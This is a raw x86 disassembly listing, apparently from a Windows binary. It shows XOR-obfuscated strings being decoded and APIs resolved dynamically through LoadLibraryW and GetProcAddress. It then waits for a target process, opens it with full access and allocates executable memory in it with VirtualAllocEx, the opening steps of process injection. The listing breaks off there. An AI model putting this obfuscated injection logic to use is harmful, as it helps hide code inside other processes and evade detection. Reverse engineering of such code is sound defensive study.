movaps xmm1, xmmword [ebp - 0xa10]
xor ecx, ecx
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xa10], xmm1
mov al, byte [ebp + ecx - 0xa10]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2731], al
test al, al
jne 0x45a5d0
xor ecx, ecx
nop word [eax + eax]
movzx eax, word [ebp + ecx - 0x228]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x2a3a], ax
test ax, ax
jne 0x45a5f0
lea eax, [ebp - 0x13d0]
mov dword [ebp - 0x13f0], 0x1ccebfb8
push eax
lea eax, [ebp - 0x13f0]
mov dword [ebp - 0x13ec], 0x53774e7e
push eax
lea ecx, [ebp - 0x32e0]
mov dword [ebp - 0x13e8], 0x8e01929
mov dword [ebp - 0x13e4], 0xe5d75b6
mov dword [ebp - 0x13e0], 0x35fc6e13
mov dword [ebp - 0x13dc], 0xa3d06092
mov dword [ebp - 0x13d8], 0x7d6825ce
mov dword [ebp - 0x13d4], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1ad0]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1af0]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x32d8]
mov dword [ebp - 0x1af0], 0x1cabbfd3
mov dword [ebp - 0x1aec], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x1ae8], 0x88c194c
mov dword [ebp - 0x1ae4], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x1ae0], 0x35986e3d
mov dword [ebp - 0x1adc], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x1ad8], 0x7d6825ce
mov dword [ebp - 0x1ad4], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1ab0]
mov dword [ebp - 0xcb0], 0x1ccebfb8
push eax
lea eax, [ebp - 0x1ad0]
mov dword [ebp - 0xcac], 0x53774e7e
push eax
lea ecx, [ebp - 0x32d0]
mov dword [ebp - 0x1ad0], 0x1ccebfb8
mov dword [ebp - 0x1acc], 0x53774e7e
mov dword [ebp - 0xca8], 0x8e01929
mov dword [ebp - 0xca4], 0xe5d75b6
mov dword [ebp - 0x1ac8], 0x8e01929
mov dword [ebp - 0x1ac4], 0xe5d75b6
mov dword [ebp - 0xca0], 0x35fc6e13
mov dword [ebp - 0xc9c], 0xa3d06092
mov dword [ebp - 0x1ac0], 0x35fc6e13
mov dword [ebp - 0x1abc], 0xa3d06092
mov dword [ebp - 0xc98], 0x7d6825ce
mov dword [ebp - 0xc94], 0x5e869b7
mov dword [ebp - 0x1ab8], 0x7d6825ce
mov dword [ebp - 0x1ab4], 0x5e869b7
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xcb0]
lea eax, [ebp - 0xcb0]
pxor xmm1, xmmword [ebp - 0x860]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
movaps xmmword [ebp - 0xcb0], xmm1
movaps xmm1, xmmword [ebp - 0xca0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xca0], xmm1
call edi
mov dword [ebp - 0x2be4], eax
lea eax, [ebp - 0x1a90]
push eax
lea eax, [ebp - 0x1ab0]
mov dword [ebp - 0x1ab0], 0x1cd8bfa6
mov dword [ebp - 0x1aac], 0x536b4e69
mov dword [ebp - 0x1aa8], 0x8be197f
mov dword [ebp - 0x1aa4], 0xe0b75ab
mov dword [ebp - 0x1aa0], 0x35f46e51
mov dword [ebp - 0x1a9c], 0xa3bc60fe
mov dword [ebp - 0x1a98], 0x7d6825ce
mov dword [ebp - 0x1a94], 0x5e869b7
push eax
lea ecx, [ebp - 0x32c8]
call fcn.0045f980
lea eax, [ebp - 0x1a70]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1a90]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x32c0]
mov dword [ebp - 0x1a90], 0x1cabbfd3
mov dword [ebp - 0x1a8c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x1a88], 0x88c194c
mov dword [ebp - 0x1a84], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x1a80], 0x35986e3d
mov dword [ebp - 0x1a7c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x1a78], 0x7d6825ce
mov dword [ebp - 0x1a74], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1a50]
mov dword [ebp - 0xcd0], 0x1cd8bfa6
push eax
lea eax, [ebp - 0x1a70]
mov dword [ebp - 0xccc], 0x536b4e69
push eax
lea ecx, [ebp - 0x32b8]
mov dword [ebp - 0x1a70], 0x1cd8bfa6
mov dword [ebp - 0x1a6c], 0x536b4e69
mov dword [ebp - 0xcc8], 0x8be197f
mov dword [ebp - 0xcc4], 0xe0b75ab
mov dword [ebp - 0x1a68], 0x8be197f
mov dword [ebp - 0x1a64], 0xe0b75ab
mov dword [ebp - 0xcc0], 0x35f46e51
mov dword [ebp - 0xcbc], 0xa3bc60fe
mov dword [ebp - 0x1a60], 0x35f46e51
mov dword [ebp - 0x1a5c], 0xa3bc60fe
mov dword [ebp - 0xcb8], 0x7d6825ce
mov dword [ebp - 0xcb4], 0x5e869b7
mov dword [ebp - 0x1a58], 0x7d6825ce
mov dword [ebp - 0x1a54], 0x5e869b7
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xcd0]
lea eax, [ebp - 0xcd0]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xcd0], xmm1
movaps xmm1, xmmword [ebp - 0xcc0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xcc0], xmm1
call edi
mov esi, eax
mov dword [ebp - 0x1a50], 0x1cd8bfbe
lea eax, [ebp - 0x1a30]
mov dword [ebp - 0x1a4c], 0x537a4e7a
push eax
lea eax, [ebp - 0x1a50]
mov dword [ebp - 0x1a48], 0x8f8193e
push eax
lea ecx, [ebp - 0x32b0]
mov dword [ebp - 0x1a44], 0xe0b75ab
mov dword [ebp - 0x1a40], 0x35f46e51
mov dword [ebp - 0x1a3c], 0xa3bc60fe
mov dword [ebp - 0x1a38], 0x7d6825ce
mov dword [ebp - 0x1a34], 0x5e869b7
call fcn.0045f980
mov dword [ebp - 0x860], 0x1cabbfd3
mov dword [ebp - 0x85c], 0x53194e0c
mov dword [ebp - 0x1a30], 0x1cabbfd3
mov dword [ebp - 0x1a2c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x1a28], 0x88c194c
mov dword [ebp - 0x1a24], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x1a20], 0x35986e3d
lea eax, [ebp - 0x1a10]
mov dword [ebp - 0x1a1c], 0xa3bc60fe
push eax
lea eax, [ebp - 0x1a30]
mov dword [ebp - 0x848], 0x7d6825ce
push eax
lea ecx, [ebp - 0x32a8]
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x1a18], 0x7d6825ce
mov dword [ebp - 0x1a14], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x19f0]
mov dword [ebp - 0xcf0], 0x1cd8bfbe
push eax
lea eax, [ebp - 0x1a10]
mov dword [ebp - 0xcec], 0x537a4e7a
push eax
lea ecx, [ebp - 0x32a0]
mov dword [ebp - 0x1a10], 0x1cd8bfbe
mov dword [ebp - 0x1a0c], 0x537a4e7a
mov dword [ebp - 0xce8], 0x8f8193e
mov dword [ebp - 0xce4], 0xe0b75ab
mov dword [ebp - 0x1a08], 0x8f8193e
mov dword [ebp - 0x1a04], 0xe0b75ab
mov dword [ebp - 0xce0], 0x35f46e51
mov dword [ebp - 0xcdc], 0xa3bc60fe
mov dword [ebp - 0x1a00], 0x35f46e51
mov dword [ebp - 0x19fc], 0xa3bc60fe
mov dword [ebp - 0xcd8], 0x7d6825ce
mov dword [ebp - 0xcd4], 0x5e869b7
mov dword [ebp - 0x19f8], 0x7d6825ce
mov dword [ebp - 0x19f4], 0x5e869b7
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xcf0]
lea eax, [ebp - 0xcf0]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xcf0], xmm1
movaps xmm1, xmmword [ebp - 0xce0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xce0], xmm1
call edi
mov edi, eax
mov dword [ebp - 0x2fc8], 0x6fd8da9e
lea eax, [ebp - 0x2fb8]
mov dword [ebp - 0x2fc4], 0x117c296d
push eax
lea eax, [ebp - 0x2fc8]
mov dword [ebp - 0x2fc0], 0x8cd6123
push eax
lea ecx, [ebp - 0x3298]
mov dword [ebp - 0x2fbc], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2fc8]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2fd8]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3290]
mov dword [ebp - 0x2fd8], 0x1cabbfd3
mov dword [ebp - 0x2fd4], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2fd0], 0x88c194c
mov dword [ebp - 0x2fcc], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2fd8]
mov dword [ebp - 0xa20], 0x6fd8da9e
push eax
lea eax, [ebp - 0x2fe8]
mov dword [ebp - 0xa1c], 0x117c296d
push eax
lea ecx, [ebp - 0x3288]
mov dword [ebp - 0x2fe8], 0x6fd8da9e
mov dword [ebp - 0x2fe4], 0x117c296d
mov dword [ebp - 0xa18], 0x8cd6123
mov dword [ebp - 0xa14], 0xe6f7585
mov dword [ebp - 0x2fe0], 0x8cd6123
mov dword [ebp - 0x2fdc], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xa20]
pxor xmm1, xmmword [ebp - 0xa20]
push eax
push esi
movaps xmmword [ebp - 0xa20], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2a48], eax
lea ecx, [ebp - 0x3280]
lea eax, [ebp - 0x19d0]
mov dword [ebp - 0x19f0], 0x51dfda94
push eax
lea eax, [ebp - 0x19f0]
mov dword [ebp - 0x19ec], 0x3f6c2a63
push eax
mov dword [ebp - 0x19e8], 0x66ed5129
mov dword [ebp - 0x19e4], 0x590a19e1
mov dword [ebp - 0x19e0], 0x35986e3d
mov dword [ebp - 0x19dc], 0xa3bc60fe
mov dword [ebp - 0x19d8], 0x7d6825ce
mov dword [ebp - 0x19d4], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x19b0]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x19d0]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3278]
mov dword [ebp - 0x19d0], 0x1cabbfd3
mov dword [ebp - 0x19cc], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x19c8], 0x88c194c
mov dword [ebp - 0x19c4], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x19c0], 0x35986e3d
mov dword [ebp - 0x19bc], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x19b8], 0x7d6825ce
mov dword [ebp - 0x19b4], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1990]
mov dword [ebp - 0xd10], 0x51dfda94
push eax
lea eax, [ebp - 0x19b0]
mov dword [ebp - 0xd0c], 0x3f6c2a63
push eax
lea ecx, [ebp - 0x3270]
mov dword [ebp - 0x19b0], 0x51dfda94
mov dword [ebp - 0x19ac], 0x3f6c2a63
mov dword [ebp - 0xd08], 0x66ed5129
mov dword [ebp - 0xd04], 0x590a19e1
mov dword [ebp - 0x19a8], 0x66ed5129
mov dword [ebp - 0x19a4], 0x590a19e1
mov dword [ebp - 0xd00], 0x35986e3d
mov dword [ebp - 0xcfc], 0xa3bc60fe
mov dword [ebp - 0x19a0], 0x35986e3d
mov dword [ebp - 0x199c], 0xa3bc60fe
mov dword [ebp - 0xcf8], 0x7d6825ce
mov dword [ebp - 0xcf4], 0x5e869b7
mov dword [ebp - 0x1998], 0x7d6825ce
mov dword [ebp - 0x1994], 0x5e869b7
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xd10]
pxor xmm1, xmmword [ebp - 0xd10]
mov esi, dword [ebp - 0x2be4]
movaps xmmword [ebp - 0xd10], xmm1
movaps xmm1, xmmword [ebp - 0xd00]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0xd00], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2a4c], eax
mov dword [ebp - 0x2ff8], 0x78cad09f
mov dword [ebp - 0x2ff4], 0x217b2740
mov dword [ebp - 0x2ff0], 0x5ff56b2d
lea eax, [ebp - 0x2fe8]
mov dword [ebp - 0x2fec], 0xe6f7585
push eax
lea eax, [ebp - 0x2ff8]
push eax
lea ecx, [ebp - 0x3268]
call fcn.0045f980
lea eax, [ebp - 0x2ff8]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x3008]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3260]
mov dword [ebp - 0x3008], 0x1cabbfd3
mov dword [ebp - 0x3004], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x3000], 0x88c194c
mov dword [ebp - 0x2ffc], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x3008]
mov dword [ebp - 0xb30], 0x78cad09f
push eax
lea eax, [ebp - 0x3018]
mov dword [ebp - 0xb2c], 0x217b2740
push eax
lea ecx, [ebp - 0x3258]
mov dword [ebp - 0x3018], 0x78cad09f
mov dword [ebp - 0x3014], 0x217b2740
mov dword [ebp - 0xb28], 0x5ff56b2d
mov dword [ebp - 0xb24], 0xe6f7585
mov dword [ebp - 0x3010], 0x5ff56b2d
mov dword [ebp - 0x300c], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xb30]
pxor xmm1, xmmword [ebp - 0xb30]
push eax
push esi
movaps xmmword [ebp - 0xb30], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2a50], eax
lea ecx, [ebp - 0x3250]
lea eax, [ebp - 0x3018]
mov dword [ebp - 0x3028], 0x79ced380
push eax
lea eax, [ebp - 0x3028]
mov dword [ebp - 0x3024], 0x53194e7c
push eax
mov dword [ebp - 0x3020], 0x88c194c
mov dword [ebp - 0x301c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x3028]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x3038]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3248]
mov dword [ebp - 0x3038], 0x1cabbfd3
mov dword [ebp - 0x3034], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x3030], 0x88c194c
mov dword [ebp - 0x302c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x3038]
mov dword [ebp - 0xa40], 0x79ced380
push eax
lea eax, [ebp - 0x3048]
mov dword [ebp - 0xa3c], 0x53194e7c
push eax
lea ecx, [ebp - 0x3240]
mov dword [ebp - 0x3048], 0x79ced380
mov dword [ebp - 0x3044], 0x53194e7c
mov dword [ebp - 0xa38], 0x88c194c
mov dword [ebp - 0xa34], 0xe6f7585
mov dword [ebp - 0x3040], 0x88c194c
mov dword [ebp - 0x303c], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xa40]
lea eax, [ebp - 0xa40]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0xa40], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2a44], eax
lea ecx, [ebp - 0x3238]
lea eax, [ebp - 0x3048]
mov dword [ebp - 0x3058], 0x75d9cfa0
push eax
lea eax, [ebp - 0x3058]
mov dword [ebp - 0x3054], 0x537f3a62
push eax
mov dword [ebp - 0x3050], 0x88c194c
mov dword [ebp - 0x304c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x3058]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x3068]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3230]
mov dword [ebp - 0x3068], 0x1cabbfd3
mov dword [ebp - 0x3064], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x3060], 0x88c194c
mov dword [ebp - 0x305c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2cd8]
mov dword [ebp - 0xa50], 0x75d9cfa0
push eax
lea eax, [ebp - 0x2ce8]
mov dword [ebp - 0xa4c], 0x537f3a62
push eax
lea ecx, [ebp - 0x3228]
mov dword [ebp - 0x2ce8], 0x75d9cfa0
mov dword [ebp - 0x2ce4], 0x537f3a62
mov dword [ebp - 0xa48], 0x88c194c
mov dword [ebp - 0xa44], 0xe6f7585
mov dword [ebp - 0x2ce0], 0x88c194c
mov dword [ebp - 0x2cdc], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xa50]
lea eax, [ebp - 0xa50]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
movaps xmmword [ebp - 0xa50], xmm1
call edi
mov dword [ebp - 0x2a3c], eax
lea ecx, [ebp - 0x3220]
lea eax, [ebp - 0x3068]
mov dword [ebp - 0x3078], 0x50dfda94
push eax
lea eax, [ebp - 0x3078]
mov dword [ebp - 0x3074], 0x166d3d6d
push eax
mov dword [ebp - 0x3070], 0x7ae36b3e
mov dword [ebp - 0x306c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x3078]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x3088]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3218]
mov dword [ebp - 0x3088], 0x1cabbfd3
mov dword [ebp - 0x3084], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x3080], 0x88c194c
mov dword [ebp - 0x307c], 0xe6f7585
call fcn.0045f980
mov dword [ebp - 0xa60], 0x50dfda94
mov dword [ebp - 0xa5c], 0x166d3d6d
lea eax, [ebp - 0x3088]
mov dword [ebp - 0x3098], 0x50dfda94
push eax
lea eax, [ebp - 0x3098]
mov dword [ebp - 0x3094], 0x166d3d6d
push eax
lea ecx, [ebp - 0x3210]
mov dword [ebp - 0xa58], 0x7ae36b3e
mov dword [ebp - 0xa54], 0xe6f7585
mov dword [ebp - 0x3090], 0x7ae36b3e
mov dword [ebp - 0x308c], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xa60]
lea eax, [ebp - 0xa60]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0xa60], xmm1
call edi
mov dword [ebp - 0x2a40], eax
call fcn.0044d300
test al, al
jne 0x45b4b5
push 0x10
push 0x66fe58
push 0x66fe60
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x860], 0x1cabbfd3
mov dword [ebp - 0x85c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
nop dword [eax + eax]
mov dword [ebp - 0xd30], 0x1ce5bf92
lea ecx, [ebp - 0xd30]
mov dword [ebp - 0xd2c], 0x534b4e48
mov dword [ebp - 0xd28], 0x8c51903
mov dword [ebp - 0xd24], 0xe2a75c1
mov dword [ebp - 0xd20], 0x35cd6e70
mov dword [ebp - 0xd1c], 0xa3fd60b2
mov dword [ebp - 0xd18], 0x7d27259a
mov dword [ebp - 0xd14], 0x5e869e5
movaps xmm0, xmmword [ebp - 0xd30]
pxor xmm0, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xd30], xmm0
movaps xmm0, xmmword [ebp - 0xd20]
pxor xmm0, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xd20], xmm0
call fcn.00454290
mov edi, eax
mov dword [ebp - 0x2be4], edi
test edi, edi
jne 0x45b6ec
mov dword [ebp - 0x1000], 0x1cf9bf83
lea ecx, [ebp - 0x1000]
mov dword [ebp - 0xffc], 0x53534e43
mov dword [ebp - 0xff8], 0x8cf1909
mov dword [ebp - 0xff4], 0xe3b75d1
mov dword [ebp - 0xff0], 0x35cc6e74
mov dword [ebp - 0xfec], 0xa3f260bf
mov dword [ebp - 0xfe8], 0x7d2d25e0
mov dword [ebp - 0xfe4], 0x5ad69ef
mov dword [ebp - 0xfe0], 0x6ec79807
mov dword [ebp - 0xfdc], 0x85ab61b8
mov dword [ebp - 0xfd8], 0x2c323fc0
mov dword [ebp - 0xfd4], 0x6ee09d91
movaps xmm1, xmmword [ebp - 0x1000]
mov dword [ebp - 0x8a0], 0x1cabbfd3
mov dword [ebp - 0x89c], 0x53194e0c
mov dword [ebp - 0x898], 0x88c194c
mov dword [ebp - 0x894], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1000], xmm1
movaps xmm1, xmmword [ebp - 0xff0]
mov dword [ebp - 0x890], 0x35986e3d
mov dword [ebp - 0x88c], 0xa3bc60fe
mov dword [ebp - 0x888], 0x7d6825ce
mov dword [ebp - 0x884], 0x5e869b7
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0xff0], xmm1
movaps xmm1, xmmword [ebp - 0xfe0]
mov dword [ebp - 0x880], 0x6ec79807
mov dword [ebp - 0x87c], 0x85ab61b8
mov dword [ebp - 0x878], 0x2c323fc0
mov dword [ebp - 0x874], 0x6ee09d91
pxor xmm1, xmmword [ebp - 0x880]
movaps xmmword [ebp - 0xfe0], xmm1
call fcn.00454290
mov edi, eax
mov dword [ebp - 0x2be4], eax
push 0x32
call esi
test edi, edi
je 0x45b510
push 0x1f4
call esi
lea eax, [ebp - 0x3098]
mov dword [ebp - 0x30a8], 0x26eff683
push eax
lea eax, [ebp - 0x30a8]
mov dword [ebp - 0x30a4], 0x597d6b2c
push eax
lea ecx, [ebp - 0x3208]
mov dword [ebp - 0x30a0], 0x88c194c
mov dword [ebp - 0x309c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2c08]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2c18]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3200]
mov dword [ebp - 0x2c18], 0x1cabbfd3
mov dword [ebp - 0x2c14], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2c10], 0x88c194c
mov dword [ebp - 0x2c0c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2c18]
mov dword [ebp - 0xa70], 0x26eff683
push eax
lea eax, [ebp - 0x2c28]
mov dword [ebp - 0xa6c], 0x597d6b2c
push eax
lea ecx, [ebp - 0x31f8]
mov dword [ebp - 0x2c28], 0x26eff683
mov dword [ebp - 0x2c24], 0x597d6b2c
mov dword [ebp - 0xa68], 0x88c194c
mov dword [ebp - 0xa64], 0xe6f7585
mov dword [ebp - 0x2c20], 0x88c194c
mov dword [ebp - 0x2c1c], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xa70]
lea eax, [ebp - 0xa70]
pxor xmm1, xmmword [ebp - 0x850]
push edi
push eax
movaps xmmword [ebp - 0xa70], xmm1
call fcn.0044b300
add esp, 8
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x2bf8], esi
test esi, esi
jne 0x45bb59
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1eb0], 0x72cecf9c
lea eax, [ebp - 0x1e80]
mov dword [ebp - 0x1eac], 0x30763c5c
push eax
lea eax, [ebp - 0x1eb0]
mov dword [ebp - 0x1ea8], 0x28ff6a29
push eax
lea ecx, [ebp - 0x31f0]
mov dword [ebp - 0x1ea4], 0x620614e3
mov dword [ebp - 0x1ea0], 0x42b80a58
mov dword [ebp - 0x1e9c], 0x83d41497
mov dword [ebp - 0x1e98], 0x180c4aad
mov dword [ebp - 0x1e94], 0xf8c4c97
mov dword [ebp - 0x1e90], 0x6ec79807
mov dword [ebp - 0x1e8c], 0x85ab61b8
mov dword [ebp - 0x1e88], 0x2c323fc0
mov dword [ebp - 0x1e84], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1eb0]
mov dword [ebp - 0x8a0], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1ee0]
mov dword [ebp - 0x89c], 0x53194e0c
push eax
lea ecx, [ebp - 0x31e8]
mov dword [ebp - 0x1ee0], 0x1cabbfd3
mov dword [ebp - 0x1edc], 0x53194e0c
mov dword [ebp - 0x898], 0x88c194c
mov dword [ebp - 0x894], 0xe6f7585
mov dword [ebp - 0x1ed8], 0x88c194c
mov dword [ebp - 0x1ed4], 0xe6f7585
mov dword [ebp - 0x890], 0x35986e3d
mov dword [ebp - 0x88c], 0xa3bc60fe
mov dword [ebp - 0x1ed0], 0x35986e3d
mov dword [ebp - 0x1ecc], 0xa3bc60fe
mov dword [ebp - 0x888], 0x7d6825ce
mov dword [ebp - 0x884], 0x5e869b7
mov dword [ebp - 0x1ec8], 0x7d6825ce
mov dword [ebp - 0x1ec4], 0x5e869b7
mov dword [ebp - 0x880], 0x6ec79807
mov dword [ebp - 0x87c], 0x85ab61b8
mov dword [ebp - 0x1ec0], 0x6ec79807
mov dword [ebp - 0x1ebc], 0x85ab61b8
mov dword [ebp - 0x878], 0x2c323fc0
mov dword [ebp - 0x874], 0x6ee09d91
mov dword [ebp - 0x1eb8], 0x2c323fc0
mov dword [ebp - 0x1eb4], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1ee0]
mov dword [ebp - 0x1120], 0x72cecf9c
push eax
lea eax, [ebp - 0x1f10]
mov dword [ebp - 0x111c], 0x30763c5c
push eax
lea ecx, [ebp - 0x31e0]
mov dword [ebp - 0x1f10], 0x72cecf9c
mov dword [ebp - 0x1f0c], 0x30763c5c
mov dword [ebp - 0x1118], 0x28ff6a29
mov dword [ebp - 0x1114], 0x620614e3
mov dword [ebp - 0x1f08], 0x28ff6a29
mov dword [ebp - 0x1f04], 0x620614e3
mov dword [ebp - 0x1110], 0x42b80a58
mov dword [ebp - 0x110c], 0x83d41497
mov dword [ebp - 0x1f00], 0x42b80a58
mov dword [ebp - 0x1efc], 0x83d41497
mov dword [ebp - 0x1108], 0x180c4aad
mov dword [ebp - 0x1104], 0xf8c4c97
mov dword [ebp - 0x1ef8], 0x180c4aad
mov dword [ebp - 0x1ef4], 0xf8c4c97
mov dword [ebp - 0x1100], 0x6ec79807
mov dword [ebp - 0x10fc], 0x85ab61b8
mov dword [ebp - 0x1ef0], 0x6ec79807
mov dword [ebp - 0x1eec], 0x85ab61b8
mov dword [ebp - 0x10f8], 0x2c323fc0
mov dword [ebp - 0x10f4], 0x6ee09d91
mov dword [ebp - 0x1ee8], 0x2c323fc0
mov dword [ebp - 0x1ee4], 0x6ee09d91
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x8a0]
lea eax, [ebp - 0x1120]
pxor xmm1, xmmword [ebp - 0x1120]
movaps xmmword [ebp - 0x1120], xmm1
movaps xmm1, xmmword [ebp - 0x1110]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1110], xmm1
movaps xmm1, xmmword [ebp - 0x1100]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x1100], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45d1cf
push 0x40
push 0x3000
push 0x720
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2c00], eax
test eax, eax
jne 0x45be7f
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1f40], 0x68d9d685
lea eax, [ebp - 0x1f10]
mov dword [ebp - 0x1f3c], 0x12752f79
